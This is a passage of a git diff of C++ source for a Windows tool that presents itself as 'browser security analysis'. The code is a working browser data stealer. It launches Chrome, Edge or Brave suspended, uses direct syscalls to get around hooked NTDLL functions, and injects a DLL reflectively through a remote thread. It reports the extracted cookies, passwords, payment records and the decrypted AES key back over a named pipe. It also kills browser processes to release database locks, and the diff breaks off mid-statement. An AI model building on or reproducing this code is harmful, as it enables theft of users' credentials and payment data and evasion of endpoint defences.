- static const std::map browserExeMap = { - {L"chrome", L"chrome.exe"}, - {L"brave", L"brave.exe"}, - {L"edge", L"msedge.exe"} - }; - - auto it = browserExeMap.find(config.browserType); - if (it == browserExeMap.end()) - { - console.Error("Unsupported browser type: " + Utils::WStringToUtf8(config.browserType)); - return std::nullopt; - } - - config.browserProcessName = it->second; - - // Resolve browser installation path through registry - BrowserPathResolver resolver(console); - config.browserDefaultExePath = resolver.resolve(config.browserProcessName); - - if (config.browserDefaultExePath.empty()) - { - console.Error("Could not find " + Utils::WStringToUtf8(config.browserType) + " installation in Registry"); - console.Info("Please ensure " + Utils::WStringToUtf8(config.browserType) + " is properly installed"); - return std::nullopt; - } - - config.browserDisplayName = Utils::Capitalize(Utils::WStringToUtf8(config.browserType)); - config.outputPath = customOutputPath.empty() ? fs::current_path() / "output" : fs::absolute(customOutputPath); - - return config; - } -}; - -// Target browser process lifecycle management -class TargetProcess -{ -public: - TargetProcess(const Configuration& config, const Console& console) : m_config(config), m_console(console) {} - - // Create suspended browser process for security analysis - void createSuspended() - { - m_console.Debug("Creating suspended " + m_config.browserDisplayName + " process."); - m_console.Debug("Target executable path: " + Utils::WStringToUtf8(m_config.browserDefaultExePath)); - - STARTUPINFOW si{}; - PROCESS_INFORMATION pi{}; - si.cb = sizeof(si); - - if (!CreateProcessW(m_config.browserDefaultExePath.c_str(), nullptr, nullptr, nullptr, - FALSE, CREATE_SUSPENDED, nullptr, nullptr, &si, &pi)) - throw std::runtime_error("CreateProcessW failed. Error: " + std::to_string(GetLastError())); - - m_hProcess.reset(pi.hProcess); - m_hThread.reset(pi.hThread); - m_pid = pi.dwProcessId; - - m_console.Debug("Created suspended process PID: " + std::to_string(m_pid)); - checkArchitecture(); - } - - // Terminate browser process via direct syscall - void terminate() - { - if (m_hProcess) - { - m_console.Debug("Terminating browser PID=" + std::to_string(m_pid) + " via direct syscall."); - NtTerminateProcess_syscall(m_hProcess.get(), 0); - m_console.Debug(m_config.browserDisplayName + " terminated by orchestrator."); - } - } - - HANDLE getProcessHandle() const noexcept { return m_hProcess.get(); } - -private: - // Verify target process architecture compatibility - void checkArchitecture() - { - USHORT processArch = 0, nativeMachine = 0; - auto fnIsWow64Process2 = (decltype(&IsWow64Process2))GetProcAddress( - GetModuleHandleW(L"kernel32.dll"), "IsWow64Process2"); - if (!fnIsWow64Process2 || !fnIsWow64Process2(m_hProcess.get(), &processArch, &nativeMachine)) - throw std::runtime_error("Failed to determine target process architecture."); - - m_arch = (processArch == IMAGE_FILE_MACHINE_UNKNOWN) ? nativeMachine : processArch; - constexpr USHORT orchestratorArch = IMAGE_FILE_MACHINE_AMD64; - - if (m_arch != orchestratorArch) - throw std::runtime_error("Architecture mismatch. Orchestrator is x64 but target is " + - std::string(getArchName(m_arch))); - - m_console.Debug("Architecture match: Orchestrator=x64, Target=" + std::string(getArchName(m_arch))); - } - - const char* getArchName(USHORT arch) const noexcept - { - switch (arch) - { - case IMAGE_FILE_MACHINE_AMD64: return "x64"; - case IMAGE_FILE_MACHINE_I386: return "x86"; - default: return "Unknown"; - } - } - - const Configuration& m_config; - const Console& m_console; - DWORD m_pid = 0; - UniqueHandle m_hProcess; - UniqueHandle m_hThread; - USHORT m_arch = 0; -}; - -// Named pipe communication with security module -class PipeCommunicator -{ -public: - // Data extraction statistics collected from module - struct ExtractionStats - { - int totalCookies = 0; - int totalPasswords = 0; - int totalPayments = 0; - int profileCount = 0; - std::string aesKey; - }; - - PipeCommunicator(const std::wstring& pipeName, const Console& console) : m_pipeName(pipeName), m_console(console) {} - - // Create named pipe server for module communication - void create() - { - m_pipeHandle.reset(CreateNamedPipeW(m_pipeName.c_str(), PIPE_ACCESS_DUPLEX, - PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT, - 1, 4096, 4096, 0, nullptr)); - if (!m_pipeHandle) - throw std::runtime_error("CreateNamedPipeW failed. Error: " + std::to_string(GetLastError())); - - m_console.Debug("Named pipe server created: " + Utils::WStringToUtf8(m_pipeName)); - } - - // Wait for security module to establish connection - void waitForClient() - { - m_console.Debug("Waiting for security module to connect to named pipe."); - if (!ConnectNamedPipe(m_pipeHandle.get(), nullptr) && GetLastError() != ERROR_PIPE_CONNECTED) - throw std::runtime_error("ConnectNamedPipe failed. Error: " + std::to_string(GetLastError())); - - m_console.Debug("Security module connected to named pipe."); - } - - // Send initial configuration to security module - void sendInitialData(bool isVerbose, const fs::path& outputPath) - { - writeMessage(isVerbose ? "VERBOSE_TRUE" : "VERBOSE_FALSE"); - writeMessage(Utils::path_to_api_string(outputPath)); - } - - // Relay messages from security module and parse statistics - void relayMessages() - { - m_console.Debug("Waiting for security module execution. (Pipe: " + Utils::WStringToUtf8(m_pipeName) + ")"); - - if (m_console.m_verbose) - std::cout << std::endl; - - const std::string moduleCompletionSignal = "__DLL_PIPE_COMPLETION_SIGNAL__"; - DWORD startTime = GetTickCount(); - std::string accumulatedData; - char buffer[4096]; - bool completed = false; - - while (!completed && (GetTickCount() - startTime < MODULE_COMPLETION_TIMEOUT_MS)) - { - DWORD bytesAvailable = 0; - if (!PeekNamedPipe(m_pipeHandle.get(), nullptr, 0, nullptr, &bytesAvailable, nullptr)) - { - if (GetLastError() == ERROR_BROKEN_PIPE) - break; - m_console.Error("PeekNamedPipe failed. Error: " + std::to_string(GetLastError())); - break; - } - - if (bytesAvailable == 0) - { - Sleep(100); - continue; - } - - DWORD bytesRead = 0; - if (!ReadFile(m_pipeHandle.get(), buffer, sizeof(buffer) - 1, &bytesRead, nullptr) || bytesRead == 0) - { - if (GetLastError() == ERROR_BROKEN_PIPE) - break; - continue; - } - - accumulatedData.append(buffer, bytesRead); - - // Process null-terminated messages - size_t messageStart = 0; - size_t nullPos; - while ((nullPos = accumulatedData.find('\0', messageStart)) != std::string::npos) - { - std::string message = accumulatedData.substr(messageStart, nullPos - messageStart); - messageStart = nullPos + 1; - - if (message == moduleCompletionSignal) - { - m_console.Debug("Security module completion signal received."); - completed = true; - break; - } - - parseExtractionMessage(message); - - if (!message.empty() && m_console.m_verbose) - m_console.Relay(message); - } - - if (completed) - break; - - accumulatedData.erase(0, messageStart); - } - - if (m_console.m_verbose) - std::cout << std::endl; - - m_console.Debug("Security module signaled completion or pipe interaction ended."); - } - - const ExtractionStats& getStats() const noexcept { return m_stats; } - const std::wstring& getName() const noexcept { return m_pipeName; } - -private: - // Write message to named pipe - void writeMessage(const std::string& msg) - { - DWORD bytesWritten = 0; - if (!WriteFile(m_pipeHandle.get(), msg.c_str(), static_cast(msg.length() + 1), &bytesWritten, nullptr) || - bytesWritten != (msg.length() + 1)) - throw std::runtime_error("WriteFile to pipe failed for message: " + msg); - - m_console.Debug("Sent message to pipe: " + msg); - } - - // Parse extraction statistics from security module messages - void parseExtractionMessage(const std::string& message) - { - auto extractNumber = [&message](const std::string& prefix, const std::string& suffix) -> int - { - size_t start = message.find(prefix); - if (start == std::string::npos) return 0; - start += prefix.length(); - size_t end = message.find(suffix, start); - if (end == std::string::npos) return 0; - - try { - return std::stoi(message.substr(start, end - start)); - } - catch (...) { - return 0; - } - }; - - // Parse different statistics from security module messages - if (message.find("Found ") != std::string::npos && message.find("profile(s)") != std::string::npos) - m_stats.profileCount = extractNumber("Found ", " profile(s)"); - - if (message.find("Decrypted AES Key: ") != std::string::npos) - m_stats.aesKey = message.substr(message.find("Decrypted AES Key: ") + 19); - - if (message.find(" cookies extracted to ") != std::string::npos) - m_stats.totalCookies += extractNumber("[*] ", " cookies"); - - if (message.find(" passwords extracted to ") != std::string::npos) - m_stats.totalPasswords += extractNumber("[*] ", " passwords"); - - if (message.find(" payments extracted to ") != std::string::npos) - m_stats.totalPayments += extractNumber("[*] ", " payments"); - } - - std::wstring m_pipeName; - const Console& m_console; - UniqueHandle m_pipeHandle; - ExtractionStats m_stats; -}; - -// Security module injection and execution manager -class InjectionManager -{ -public: - InjectionManager(TargetProcess& target, const Console& console) : m_target(target), m_console(console) {} - - // Execute security module in target process - void execute(const std::wstring& pipeName) - { - m_console.Debug("Loading security module from file: " + g_securityModulePath); - loadSecurityModuleFromFile(g_securityModulePath); - - m_console.Debug("Parsing module PE headers for InitializeSecurityContext entry point."); - DWORD rdiOffset = getInitializeSecurityContextOffset(); - if (rdiOffset == 0) - throw std::runtime_error("Could not find InitializeSecurityContext export in security module."); - m_console.Debug("InitializeSecurityContext found at file offset: " + Utils::PtrToHexStr((void*)(uintptr_t)rdiOffset)); - - // Allocate memory in target process for module and parameters - m_console.Debug("Allocating memory for security module in target process."); - PVOID remoteModuleBase = nullptr; - SIZE_T moduleSize = m_moduleBuffer.size(); - SIZE_T pipeNameByteSize = (pipeName.length() + 1) * sizeof(wchar_t); - SIZE_T totalAllocationSize = moduleSize + pipeNameByteSize; - - NTSTATUS status = NtAllocateVirtualMemory_syscall(m_target.getProcessHandle(), &remoteModuleBase, 0, - &totalAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); - if (!NT_SUCCESS(status)) - throw std::runtime_error("NtAllocateVirtualMemory failed: " + Utils::NtStatusToString(status)); - m_console.Debug("Combined memory for module and parameters allocated at: " + Utils::PtrToHexStr(remoteModuleBase)); - - // Write security module to target process - m_console.Debug("Writing security module to target process memory."); - SIZE_T bytesWritten = 0; - status = NtWriteVirtualMemory_syscall(m_target.getProcessHandle(), remoteModuleBase, - m_moduleBuffer.data(), moduleSize, &bytesWritten); - if (!NT_SUCCESS(status)) - throw std::runtime_error("NtWriteVirtualMemory for security module failed: " + Utils::NtStatusToString(status)); - - // Write pipe name parameter - m_console.Debug("Writing pipe name parameter into the same allocation."); - LPVOID remotePipeNameAddr = reinterpret_cast(remoteModuleBase) + moduleSize; - status = NtWriteVirtualMemory_syscall(m_target.getProcessHandle(), remotePipeNameAddr, - (PVOID)pipeName.c_str(), pipeNameByteSize, &bytesWritten); - if (!NT_SUCCESS(status)) - throw std::runtime_error("NtWriteVirtualMemory for pipe name failed: " + Utils::NtStatusToString(status)); - - // Make module memory executable - m_console.Debug("Changing module memory protection to executable."); - ULONG oldProtect = 0; - status = NtProtectVirtualMemory_syscall(m_target.getProcessHandle(), &remoteModuleBase, - &totalAllocationSize, PAGE_EXECUTE_READ, &oldProtect); - if (!NT_SUCCESS(status)) - throw std::runtime_error("NtProtectVirtualMemory failed: " + Utils::NtStatusToString(status)); - - startSecurityThreadInTarget(remoteModuleBase, rdiOffset, remotePipeNameAddr); - m_console.Debug("New thread created for security module. Main thread remains suspended."); - } - -private: - // Load security module from disk - void loadSecurityModuleFromFile(const std::string& modulePath) - { - if (!fs::exists(modulePath)) - throw std::runtime_error("Security module not found: " + modulePath); - - std::ifstream file(modulePath, std::ios::binary); - if (!file) - throw std::runtime_error("Failed to open security module: " + modulePath); - - file.seekg(0, std::ios::end); - auto fileSize = file.tellg(); - file.seekg(0, std::ios::beg); - - m_moduleBuffer.resize(static_cast(fileSize)); - file.read(reinterpret_cast(m_moduleBuffer.data()), fileSize); - - if (!file) - throw std::runtime_error("Failed to read security module: " + modulePath); - - m_console.Debug("Loaded " + std::to_string(m_moduleBuffer.size()) + " bytes from " + modulePath); - } - - // Find InitializeSecurityContext export in PE headers - DWORD getInitializeSecurityContextOffset() - { - auto dosHeader = reinterpret_cast(m_moduleBuffer.data()); - if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) - return 0; - - auto ntHeaders = reinterpret_cast((uintptr_t)m_moduleBuffer.data() + dosHeader->e_lfanew); - if (ntHeaders->Signature != IMAGE_NT_SIGNATURE) - return 0; - - auto exportDirRva = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; - if (exportDirRva == 0) - return 0; - - // RVA to file offset converter - auto RvaToOffset = [&](DWORD rva) -> PVOID - { - PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders); - for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; ++i, ++section) - { - if (rva >= section->VirtualAddress && rva < section->VirtualAddress + section->Misc.VirtualSize) - { - return (PVOID)((uintptr_t)m_moduleBuffer.data() + section->PointerToRawData + (rva - section->VirtualAddress)); - } - } - return nullptr; - }; - - auto exportDir = (PIMAGE_EXPORT_DIRECTORY)RvaToOffset(exportDirRva); - if (!exportDir) return 0; - - auto names = (PDWORD)RvaToOffset(exportDir->AddressOfNames); - auto ordinals = (PWORD)RvaToOffset(exportDir->AddressOfNameOrdinals); - auto funcs = (PDWORD)RvaToOffset(exportDir->AddressOfFunctions); - if (!names || !ordinals || !funcs) return 0; - - // Search for InitializeSecurityContext export - for (DWORD i = 0; i < exportDir->NumberOfNames; ++i) - { - char* funcName = (char*)RvaToOffset(names[i]); - if (funcName && strcmp(funcName, "InitializeSecurityContext") == 0) - { - PVOID funcOffsetPtr = RvaToOffset(funcs[ordinals[i]]); - if (!funcOffsetPtr) return 0; - return (DWORD)((uintptr_t)funcOffsetPtr - (uintptr_t)m_moduleBuffer.data()); - } - } - return 0; - } - - // Create new thread in target process to execute security module - void startSecurityThreadInTarget(PVOID remoteModuleBase, DWORD rdiOffset, PVOID remotePipeNameAddr) - { - m_console.Debug("Creating new thread in target to execute InitializeSecurityContext."); - - uintptr_t entryPoint = reinterpret_cast(remoteModuleBase) + rdiOffset; - HANDLE hRemoteThread = nullptr; - - NTSTATUS status = NtCreateThreadEx_syscall(&hRemoteThread, THREAD_ALL_ACCESS, nullptr, m_target.getProcessHandle(), - (LPTHREAD_START_ROUTINE)entryPoint, remotePipeNameAddr, 0, 0, 0, 0, nullptr); - - UniqueHandle remoteThreadGuard(hRemoteThread); - - if (!NT_SUCCESS(status)) - throw std::runtime_error("NtCreateThreadEx failed: " + Utils::NtStatusToString(status)); - - m_console.Debug("Successfully created new thread for security module."); - } - - TargetProcess& m_target; - const Console& m_console; - std::vector m_moduleBuffer; -}; - -// Helper function to build extraction summary string -std::string BuildExtractionSummary(const PipeCommunicator::ExtractionStats& stats) -{ - std::stringstream summary; - std::vector items; - - if (stats.totalCookies > 0) - items.push_back(std::to_string(stats.totalCookies) + " cookies"); - if (stats.totalPasswords > 0) - items.push_back(std::to_string(stats.totalPasswords) + " passwords"); - if (stats.totalPayments > 0) - items.push_back(std::to_string(stats.totalPayments) + " payments"); - - if (!items.empty()) - { - summary << "Extracted "; - for (size_t i = 0; i < items.size(); ++i) - { - if (i > 0 && i == items.size() - 1) - summary << " and "; - else if (i > 0) - summary << ", "; - summary << items[i]; - } - summary << " from " << stats.profileCount << " profile" << (stats.profileCount != 1 ? "s" : ""); - } - - return summary.str(); -} - -// Check if Windows built-in SQLite3 library is available -bool CheckWinSQLite3Available() -{ - HMODULE hWinSQLite = LoadLibraryW(L"winsqlite3.dll"); - if (hWinSQLite) - { - FreeLibrary(hWinSQLite); - return true; - } - return false; -} - -// Terminate browser network service processes to release database locks -void KillBrowserNetworkService(const Configuration& config, const Console& console) -{ - console.Debug("Scanning for and terminating browser network services..."); - - UniqueHandle hCurrentProc; - HANDLE nextProcHandle = nullptr; - int processes_terminated = 0; - - // Enumerate all processes on the system - while (NT_SUCCESS(NtGetNextProcess_syscall(hCurrentProc.get(), PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_TERMINATE, - 0, 0, &nextProcHandle))) - { - UniqueHandle hNextProc(nextProcHandle); - hCurrentProc = std::move(hNextProc); - - // Get process image name - std::vector buffer(sizeof(UNICODE_STRING_SYSCALLS) + MAX_PATH * 2); - auto imageName = reinterpret_cast(buffer.data()); - if (!NT_SUCCESS(NtQueryInformationProcess_syscall(hCurrentProc.get(), ProcessImageFileName, - imageName, (ULONG)buffer.size(), NULL)) || - imageName->Length == 0) - continue; - - fs::path p(std::wstring(imageName->Buffer, imageName->Length / sizeof(wchar_t))); - if (_wcsicmp(p.filename().c_str(), config.browserProcessName.c_str()) != 0) - continue; - - // Get process basic information and PEB - PROCESS_BASIC_INFORMATION pbi{}; - if (!NT_SUCCESS(NtQueryInformationProcess_syscall(hCurrentProc.get(), ProcessBasicInformation, - &pbi, sizeof(pbi), nullptr)) || - !pbi.PebBaseAddress) - continue; - - PEB peb{}; - if (!NT_SUCCESS(NtReadVirtualMemory_syscall(hCurrentProc.get(), pbi.PebBaseAddress, &peb, sizeof(peb), nullptr))) - continue; - - RTL_USER_PROCESS_PARAMETERS params{}; - if (!NT_SUCCESS(NtReadVirtualMemory_syscall(hCurrentProc.get(), peb.ProcessParameters, ¶ms, sizeof(params), nullptr))) - continue; - - // Read command line to identify network service processes - std::vector cmdLine(params.CommandLine.Length / sizeof(wchar_t) + 1, 0); - if (params.CommandLine.Length > 0 && - !NT_SUCCESS(NtReadVirtualMemory_syscall(hCurrentProc.get(), params.CommandLine.Buffer, - cmdLine.data(), params.CommandLine.Length, nullptr))) - continue; - - // Check for network service process signature - if (wcsstr(cmdLine.data(), L"--utility-sub-type=network.mojom.NetworkService")) - { - console.Debug("Found and terminated network service PID: " + std::to_string((DWORD)pbi.UniqueProcessId)); - NtTerminateProcess_syscall(hCurrentProc.get(), 0); - processes_terminated++; - } - } - - if (processes_terminated > 0) - { - console.Debug("Termination sweep complete. Waiting for file locks to fully release."); - Sleep(1500); - } -} - -// Execute complete security analysis workflow for a single browser -PipeCommunicator::ExtractionStats RunInjectionWorkflow(const Configuration& config, const Console& console) -{ - KillBrowserNetworkService(config, console); - - TargetProcess target(config, console); - target.createSuspended(); - - PipeCommunicator pipe(Utils::GenerateUniquePipeName(), console); - pipe.create(); - - InjectionManager injector(target, console); - injector.execute(pipe.getName()); - - pipe.waitForClient(); - pipe.sendInitialData(config.verbose, config.outputPath); - pipe.relayMessages(); - - target.terminate(); - - return pipe.getStats(); -} - -// Display extraction results summary -void DisplayExtractionSummary(const std::string& browserName, const PipeCommunicator::ExtractionStats& stats, - const Console& console, bool singleBrowser, const fs::path& outputPath) -{ - if (singleBrowser) - { - if (!stats.aesKey.empty()) - console.Success("AES Key: " + stats.aesKey); - - std::string summary = BuildExtractionSummary(stats); - if (!summary.empty()) - { - console.Success(summary); - console.Success("Stored in " + Utils::path_to_api_string(outputPath / browserName)); - } - else - { - console.Warn("No data extracted"); - } - } - else - { - console.Info(browserName); - - if (!stats.aesKey.empty()) - console.Success("AES Key: " + stats.aesKey); - - std::string summary = BuildExtractionSummary(stats); - if (!summary.empty()) - { - console.Success(summary); - console.Success("Stored in " + Utils::path_to_api_string(outputPath / browserName)); - } - else - { - console.Warn("No data extracted"); - } - } -} - -// Process all installed browsers sequentially -void ProcessAllBrowsers(const Console& console, bool verbose, const fs::path& outputPath) -{ - if (verbose) - console.Info("Starting multi-browser security analysis..."); - - BrowserPathResolver resolver(console); - auto installedBrowsers = resolver.findAllInstalledBrowsers(); - - if (installedBrowsers.empty()) - { - console.Error("No supported browsers found on this system"); - return; - } - - if (!verbose) - console.Info("Processing " + std::to_string(installedBrowsers.size()) + " browser(s):\n"); - - int successCount = 0; - int failCount = 0; - - for (size_t i = 0; i < installedBrowsers.size(); ++i) - { - const auto& [browserType, browserPath] = installedBrowsers[i]; - - Configuration config; - config.verbose = verbose; - config.outputPath = outputPath; - config.browserType = browserType; - config.browserDefaultExePath = browserPath; - - // Map browser type to process name and display name - static const std::map> browserMap = { - {L"chrome", {L"chrome.exe", "Chrome"}}, - {L"edge", {L"msedge.exe", "Edge"}}, - {L"brave", {L"brave.exe", "Brave"}} - }; - - auto it = browserMap.find(browserType); - if (it != browserMap.end()) - { - config.browserProcessName = it->second.first; - config.browserDisplayName = it->second.second; - } - - if (verbose) - { - console.Info("\n[Browser " + std::to_string(i + 1) + "/" + std::to_string(installedBrowsers.size()) + - "] Processing " + config.browserDisplayName); - } - - try - { - auto stats = RunInjectionWorkflow(config, console); - successCount++; - - if (verbose) - { - console.Success(config.browserDisplayName + " analysis completed"); - } - else - { - DisplayExtractionSummary(config.browserDisplayName, stats, console, false, config.outputPath); - if (i < installedBrowsers.size() - 1) - std::cout << std::endl; - } - } - catch (const std::exception& e) - { - failCount++; - - if (verbose) - { - console.Error(config.browserDisplayName + " analysis failed: " + std::string(e.what())); - } - else - { - console.Info(config.browserDisplayName); - console.Error("Analysis failed"); - if (i < installedBrowsers.size() - 1) - std::cout << std::endl; - } - } - } - - std::cout << std::endl; - console.Info("Completed: " + std::to_string(successCount) + " successful, " + std::to_string(failCount) + " failed"); -} - -// Application entry point -int wmain(int argc, wchar_t* argv[]) -{ - bool isVerbose = false; - std::wstring browserTarget; - fs::path outputPath; - - // Validate required files before startup - only security module is mandatory - auto findSecurityModule = []() -> std::string { - // Try current directory first - if (fs::exists(SECURITY_MODULE_NAME)) - return SECURITY_MODULE_NAME; - - // Try system directory - wchar_t systemDir[MAX_PATH]; - if (GetSystemDirectoryW(systemDir, MAX_PATH) > 0) { - std::string systemPath = Utils::WStringToUtf8(systemDir) + "\\" + SECURITY_MODULE_NAME; - if (fs::exists(systemPath)) - return systemPath; - } - - return ""; - }; - - g_securityModulePath = findSecurityModule(); - if (g_securityModulePath.empty()) - { - std::wcerr << L"Error: " << SECURITY_MODULE_NAME << L" not found in current directory or System32!" << std::endl; - return 1; - } - - // Parse command line arguments - for (int i = 1; i < argc; ++i) - { - std::wstring_view arg = argv[i]; - if (arg == L"--verbose" || arg == L"-v") - isVerbose = true; - else if ((arg == L"--output-path" || arg == L"-o") && i + 1 < argc) - outputPath = argv[++i]; - else if (arg == L"--help" || arg == L"-h") - { - Console(false).displayBanner(); - Console(false).printUsage(); - return 0; - } - else if (browserTarget.empty() && !arg.empty() && arg[0] != L'-') - browserTarget = arg; - } - - Console console(isVerbose); - console.displayBanner(); - - // Check SQLite availability - system winsqlite3.dll preferred, fallback to local sqlite3.dll - if (!CheckWinSQLite3Available()) - { - console.Warn("winsqlite3.dll not available - trying fallback to sqlite3.dll"); - if (!fs::exists("sqlite3.dll")) - { - console.Error("Neither winsqlite3.dll nor sqlite3.dll available"); - return 1; - } - } - - if (browserTarget.empty()) - { - console.printUsage(); - return 0; - } - - // Initialize direct syscalls for low-level operations - if (!InitializeSyscalls(isVerbose)) - { - console.Error("Failed to initialize direct syscalls. Critical NTDLL functions might be hooked or gadgets not found."); - return 1; - } - - // Prepare output directory structure - if (outputPath.empty()) - outputPath = fs::current_path() / "output"; - - std::error_code ec; - if (!fs::exists(outputPath)) { - fs::create_directories(outputPath, ec); - if (ec) { - console.Error("Failed to create output directory: " + Utils::path_to_api_string(outputPath) + - ". Error: " + ec.message()); - return 1; - } - } - - // Execute browser security analysis - if (browserTarget == L"all") - { - try - { - ProcessAllBrowsers(console, isVerbose, outputPath); - } - catch (const std::exception& e) - { - console.Error(e.what()); - return 1; - } - } - else - { - auto optConfig = Configuration::CreateFromArgs(argc, argv, console); - if (!optConfig) - return 1; - - try - { - if (!isVerbose) - console.Info("Processing " + optConfig->browserDisplayName + "...\n"); - - auto stats = RunInjectionWorkflow(*optConfig, console); - - if (!isVerbose) - DisplayExtractionSummary(optConfig->browserDisplayName, stats, console, true, optConfig->outputPath); - else - console.Success("\nSecurity analysis completed successfully"); - } - catch (const std::runtime_error& e) - { - console.Error(e.what()); - return 1; - } - } - - console.Debug("Security orchestrator finished successfully."); - return 0; -} \ No newline at end of file diff --git a/kvc/BrowserProcessManager.cpp b/kvc/BrowserProcessManager.cpp new file mode 100644 index 0000000..1f531c7 --- /dev/null +++ b/kvc/BrowserProcessManager.cpp @@ -0,0 +1,207 @@ +// BrowserProcessManager.cpp - Browser process management and cleanup operations +#include "BrowserProcessManager.h" +#include "syscalls.h" +#include + +#ifndef IMAGE_FILE_MACHINE_AMD64 +#define IMAGE_FILE_MACHINE_AMD64 0x8664 +#endif + +#ifndef IMAGE_FILE_MACHINE_I386 +#define IMAGE_FILE_MACHINE_I386 0x014c +#endif + +#ifndef NT_SUCCESS +#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) +#endif + +// Handle cleanup using direct syscall +void HandleDeleter::operator()(HANDLE h) const noexcept +{ + if (h && h != INVALID_HANDLE_VALUE) + NtClose_syscall(h); +} + +// Constructor initializes target process context +TargetProcess::TargetProcess(const Configuration& config, const Console& console) + : m_config(config), m_console(console) {} + +// Creates suspended browser process for safe injection +void TargetProcess::createSuspended() +{ + m_console.Debug("Creating suspended " + m_config.browserDisplayName + " process."); + m_console.Debug("Target executable path: " + Utils::WStringToUtf8(m_config.browserDefaultExePath)); + + STARTUPINFOW si{}; + PROCESS_INFORMATION pi{}; + si.cb = sizeof(si); + + if (!CreateProcessW(m_config.browserDefaultExePath.c_str(), nullptr, nullptr, nullptr, + FALSE, CREATE_SUSPENDED, nullptr, nullptr, &si, &pi)) + throw std::runtime_error("CreateProcessW failed. Error: " + std::to_string(GetLastError())); + + m_hProcess.reset(pi.hProcess); + m_hThread.reset(pi.hThread); + m_pid = pi.dwProcessId; + + m_console.Debug("Created suspended process PID: " + std::to_string(m_pid)); + checkArchitecture(); +} + +// Terminates target process via direct syscall +void TargetProcess::terminate() +{ + if (m_hProcess) + { + m_console.Debug("Terminating browser PID=" + std::to_string(m_pid) + " via direct syscall."); + NtTerminateProcess_syscall(m_hProcess.get(), 0); + m_console.Debug(m_config.browserDisplayName + " terminated by orchestrator."); + } +} + +// Validates matching x64 architecture +void TargetProcess::checkArchitecture() +{ + USHORT processArch = 0, nativeMachine = 0; + auto fnIsWow64Process2 = (decltype(&IsWow64Process2))GetProcAddress( + GetModuleHandleW(L"kernel32.dll"), "IsWow64Process2"); + if (!fnIsWow64Process2 || !fnIsWow64Process2(m_hProcess.get(), &processArch, &nativeMachine)) + throw std::runtime_error("Failed to determine target process architecture."); + + m_arch = (processArch == IMAGE_FILE_MACHINE_UNKNOWN) ? nativeMachine : processArch; + constexpr USHORT orchestratorArch = IMAGE_FILE_MACHINE_AMD64; + + if (m_arch != orchestratorArch) + throw std::runtime_error("Architecture mismatch. Orchestrator is x64 but target is " + + std::string(getArchName(m_arch))); + + m_console.Debug("Architecture match: Orchestrator=x64, Target=" + std::string(getArchName(m_arch))); +} + +// Returns human-readable architecture name +const char* TargetProcess::getArchName(USHORT arch) const noexcept +{ + switch (arch) + { + case IMAGE_FILE_MACHINE_AMD64: return "x64"; + case IMAGE_FILE_MACHINE_I386: return "x86"; + default: return "Unknown"; + } +} + +// Terminates all browser processes matching the target executable name +void KillBrowserProcesses(const Configuration& config, const Console& console) +{ + console.Debug("Terminating all browser processes to release file locks..."); + + UniqueHandle hCurrentProc; + HANDLE nextProcHandle = nullptr; + int processes_terminated = 0; + + while (NT_SUCCESS(NtGetNextProcess_syscall(hCurrentProc.get(), PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_TERMINATE, + 0, 0, &nextProcHandle))) + { + UniqueHandle hNextProc(nextProcHandle); + hCurrentProc = std::move(hNextProc); + + std::vector buffer(sizeof(UNICODE_STRING_SYSCALLS) + MAX_PATH * 2); + auto imageName = reinterpret_cast(buffer.data()); + if (!NT_SUCCESS(NtQueryInformationProcess_syscall(hCurrentProc.get(), ProcessImageFileName, + imageName, (ULONG)buffer.size(), NULL)) || + imageName->Length == 0) + continue; + + fs::path p(std::wstring(imageName->Buffer, imageName->Length / sizeof(wchar_t))); + if (_wcsicmp(p.filename().c_str(), config.browserProcessName.c_str()) != 0) + continue; + + PROCESS_BASIC_INFORMATION pbi{}; + if (!NT_SUCCESS(NtQueryInformationProcess_syscall(hCurrentProc.get(), ProcessBasicInformation, + &pbi, sizeof(pbi), nullptr)) || + !pbi.PebBaseAddress) + continue; + + console.Debug("Found and terminated browser process PID: " + std::to_string((DWORD)pbi.UniqueProcessId)); + NtTerminateProcess_syscall(hCurrentProc.get(), 0); + processes_terminated++; + } + + if (processes_terminated > 0) + { + console.Debug("Terminated " + std::to_string(processes_terminated) + " browser processes. Waiting for file locks to release."); + Sleep(2000); + } +} + +// Terminates browser network service processes that hold database locks +void KillBrowserNetworkService(const Configuration& config, const Console& console) +{ + console.Debug("Scanning for and terminating browser network services..."); + + UniqueHandle hCurrentProc; + HANDLE nextProcHandle = nullptr; + int processes_terminated = 0; + + while (NT_SUCCESS(NtGetNextProcess_syscall(hCurrentProc.get(), PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_TERMINATE, + 0, 0, &nextProcHandle))) + { + UniqueHandle hNextProc(nextProcHandle); + hCurrentProc = std::move(hNextProc); + + std::vector buffer(sizeof(UNICODE_STRING_SYSCALLS) + MAX_PATH * 2); + auto imageName = reinterpret_cast(buffer.data()); + if (!NT_SUCCESS(NtQueryInformationProcess_syscall(hCurrentProc.get(), ProcessImageFileName, + imageName, (ULONG)buffer.size(), NULL)) || + imageName->Length == 0) + continue; + + fs::path p(std::wstring(imageName->Buffer, imageName->Length / sizeof(wchar_t))); + if (_wcsicmp(p.filename().c_str(), config.browserProcessName.c_str()) != 0) + continue; + + PROCESS_BASIC_INFORMATION pbi{}; + if (!NT_SUCCESS(NtQueryInformationProcess_syscall(hCurrentProc.get(), ProcessBasicInformation, + &pbi, sizeof(pbi), nullptr)) || + !pbi.PebBaseAddress) + continue; + + PEB peb{}; + if (!NT_SUCCESS(NtReadVirtualMemory_syscall(hCurrentProc.get(), pbi.PebBaseAddress, &peb, sizeof(peb), nullptr))) + continue; + + RTL_USER_PROCESS_PARAMETERS params{}; + if (!NT_SUCCESS(NtReadVirtualMemory_syscall(hCurrentProc.get(), peb.ProcessParameters, ¶ms, sizeof(params), nullptr))) + continue; + + std::vector cmdLine(params.CommandLine.Length / sizeof(wchar_t) + 1, 0); + if (params.CommandLine.Length > 0 && + !NT_SUCCESS(NtReadVirtualMemory_syscall(hCurrentProc.get(), params.CommandLine.Buffer, + cmdLine.data(), params.CommandLine.Length, nullptr))) + continue; + + if 